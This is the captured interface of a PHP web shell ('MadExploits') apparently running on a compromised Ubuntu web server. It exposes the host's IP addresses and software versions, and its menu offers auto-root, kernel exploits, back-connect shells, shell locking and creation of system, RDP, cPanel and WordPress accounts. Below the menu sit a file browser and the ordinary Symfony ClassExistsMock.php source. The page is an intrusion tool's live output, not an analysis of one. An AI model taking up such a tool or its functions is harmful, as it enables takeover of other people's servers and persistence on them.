Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.133.149.244
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
phpunit-bridge /
[ HOME SHELL ]
Name
Size
Permission
Action
DeprecationErrorHandler
[ DIR ]
drwxrwxr-x
Legacy
[ DIR ]
drwxrwxr-x
TextUI
[ DIR ]
drwxrwxr-x
bin
[ DIR ]
drwxrwxr-x
CHANGELOG.md
2.3
KB
-rw-rw-r--
ClassExistsMock.php
2.23
KB
-rw-rw-r--
ClockMock.php
2.94
KB
-rw-rw-r--
ConstraintTrait.php
767
B
-rw-rw-r--
CoverageListener.php
3.59
KB
-rw-rw-r--
DeprecationErrorHandler.php
14
KB
-rw-rw-r--
DnsMock.php
5.84
KB
-rw-rw-r--
ExpectDeprecationTrait.php
736
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
README.md
537
B
-rw-rw-r--
SetUpTearDownTrait.php
817
B
-rw-rw-r--
SymfonyTestsListener.php
451
B
-rw-rw-r--
bootstrap.php
1.19
KB
-rw-rw-r--
composer.json
1.39
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClassExistsMock.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bridge\PhpUnit; /** * @author Roland Franssen <franssen.roland@gmail.com> */ class ClassExistsMock { private static $classes = []; /** * Configures the classes to be checked upon existence. * * @param array $classes Mocked class names as keys (case sensitive, without leading root namespace slash) and booleans as values */ public static function withMockedClasses(array $classes) { self::$classes = $classes; } public static function class_exists($name, $autoload = true) { $name = ltrim($name, '\\'); return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \class_exists($name, $autoload); } public static function interface_exists($name, $autoload = true) { $name = ltrim($name, '\\'); return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \interface_exists($name, $autoload); } public static function trait_exists($name, $autoload = true) { $name = ltrim($name, '\\'); return isset(self::$classes[$name]) ? (bool) self::$classes[$name] : \trait_exists($name, $autoload); } public static function register($class) { $self = static::class; $mockedNs = [substr($class, 0, strrpos($class, '\\'))]; if (0 < strpos($class, '\\Tests\\')) { $ns = str_replace('\\Tests\\', '\\', $class); $mockedNs[] = substr($ns, 0, strrpos($ns, '\\')); } elseif (0 === strpos($class, 'Tests\\')) { $mockedNs[] = substr($class, 6, strrpos($class, '\\') - 6); } foreach ($mockedNs as $ns) { foreach (['class', 'interface', 'trait'] as $type) { if (\function_exists($ns.'\\'.$type.'_exists')) { continue; } eval(<<<EOPHP namespace $ns; function {$type}_exists(\$name, \$autoload = true) { return \\$self::{$type}_exists(\$name, \$autoload); } EOPHP ); } } } }
Close